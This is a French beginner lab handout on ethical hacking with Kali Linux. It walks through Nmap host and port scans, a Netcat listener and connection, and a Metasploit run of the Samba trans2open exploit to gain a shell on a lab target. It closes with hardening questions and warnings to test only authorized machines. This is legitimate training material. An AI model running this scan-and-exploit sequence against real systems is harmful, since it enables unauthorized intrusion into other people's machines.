Lab 02

Kali Linux – Découverte Exploit

Voici un exercice pratique pour débutants qui vous permettra de vous familiariser avec Kali Linux et de comprendre les bases du hacking éthique, notamment en utilisant **Nmap** pour la découverte de réseau, **Netcat** pour établir une connexion réseau et **Metasploit** pour exploiter une vulnérabilité simple. Cet exercice vous aidera à comprendre les concepts de base du hacking éthique, tels que le scan de ports, l'établissement de connexions, et l'exploitation de failles.

Objectif de l'exercice :

1. **Scanner un réseau avec Nmap** pour découvrir des machines actives et leurs services.
2. **Établir une connexion avec Netcat** sur un port spécifique.
3. **Exploiter une vulnérabilité simple** à l'aide de Metasploit.

Pré-requis :

1. Kali Linux installé (physiquement ou dans une machine virtuelle).
2. Une machine cible sur le même réseau local (cette machine peut être une autre machine virtuelle ou un système sur votre réseau local).
3. Un peu de patience et une attitude d'apprentissage !

Étape 1 : Scanner le réseau avec Nmap

But : Identifier les machines actives sur le réseau et les services ouverts.

1. **Lancer Kali Linux** et ouvrez le terminal.
2. **Scanner un réseau** :
    - Supposons que votre réseau local utilise l'adresse IP 192.168.1.0/24. Pour scanner toutes les machines sur ce réseau, utilisez la commande suivante :

nmap -sP 192.168.1.0/24

    - Cette commande fait un **scan Ping** pour identifier toutes les machines actives sur le réseau.
    - Résultat attendu : Vous verrez une liste d'adresses IP avec des informations sur les machines actives.
3. **Scanner les ports d'une machine spécifique** :

- Une fois une machine identifiée, par exemple 192.168.1.5, vous pouvez scanner ses ports ouverts pour déterminer les services disponibles :

```
nmap -sS 192.168.1.5
```

- Cela lancera un **scan SYN** pour identifier les ports ouverts (par exemple, 80 pour HTTP, 22 pour SSH, 21 pour FTP).

Étape 2 : Utiliser Netcat pour établir une connexion

But : Établir une connexion réseau simple entre deux machines.

1. **Sur la machine cible (192.168.1.5)** :
   - Ouvrez un terminal et écoutez un port sur la machine cible avec Netcat. Exemple pour écouter sur le port 1234 :

```
nc -lvp 1234
```

   - Cette commande indique à Netcat de se mettre en écoute sur le port 1234.
2. **Sur la machine Kali (192.168.1.10)** :
   - Lancez Netcat pour établir une connexion avec la machine cible à l'adresse IP et le port spécifié. Tapez dans le terminal :

```
nc 192.168.1.5 1234
```

   - Une fois la connexion établie, vous pouvez échanger des messages entre les deux machines. Cela peut être utile pour un shell reverse ou une communication simple.
3. **Test de base** :
   - Tapez un message sur la machine Kali, et vous devriez voir ce message s'afficher sur la machine cible, et vice versa.

Étape 3 : Exploiter une vulnérabilité avec Metasploit

But : Exploiter une vulnérabilité simple sur la machine cible.

1. **Lancer Metasploit** sur Kali Linux :
   - Dans le terminal de Kali, tapez :

```
msfconsole
```

   - Cela va lancer Metasploit Framework, un outil puissant pour le hacking éthique.
2. **Choisir un exploit** :
   - Par exemple, si vous avez identifié qu'un service **Samba** est actif sur la machine cible, vous pouvez rechercher une vulnérabilité associée à Samba. Tapez :

```
search samba
```

- Cela vous donnera une liste d'exploits disponibles pour Samba.

3. **Choisir et configurer l'exploit** :
    - Supposons que vous avez trouvé un exploit pour Samba. Sélectionnez-le avec la commande use :

use exploit/linux/samba/trans2open

    - Configurez les options nécessaires, comme l'adresse IP de la cible :

set RHOSTS 192.168.1.5

set RPORT 139

4. **Lancer l'exploit** :
    - Une fois l'exploit configuré, lancez-le avec la commande suivante :

run

    - Si l'exploit fonctionne, vous aurez un accès shell sur la machine cible.

Conclusion et réflexion

1. **Réflexion sur les résultats** :
    - Quel service avez-vous réussi à exploiter ? Pourquoi avez-vous choisi cet exploit spécifique ?
    - Quelle aurait été la réponse de la machine cible si un autre service était en fonctionnement (par exemple, un service HTTPS avec un certificat SSL valide) ?
2. **Renforcer la sécurité** :
    - Comment sécuriseriez-vous cette machine cible pour prévenir ces types d'attaques ?
    - Quelles sont les bonnes pratiques pour sécuriser un réseau et empêcher l'accès non autorisé ?

Conseils supplémentaires :

- **Testez uniquement sur des environnements que vous avez configurés**. Ne lancez jamais de tests de pénétration sans autorisation sur des systèmes que vous ne possédez pas.
- **Exploitez des machines vulnérables dans un environnement de test (comme des machines virtuelles)** pour pratiquer en toute sécurité. Des machines comme **Metasploitable** sont conçues pour être intentionnellement vulnérables et parfaites pour l'apprentissage.
- **Utilisez des ressources comme les CTF (Capture The Flag)** pour vous entraîner sur des machines et scénarios simulés.

Cet exercice vous permet de prendre en main Kali Linux tout en abordant des concepts fondamentaux du hacking éthique.

Livrable

- Fourniture d'un document PDF qui reprends un guide explicatif des actions effectué dans les Labs avec également des captures d'écran.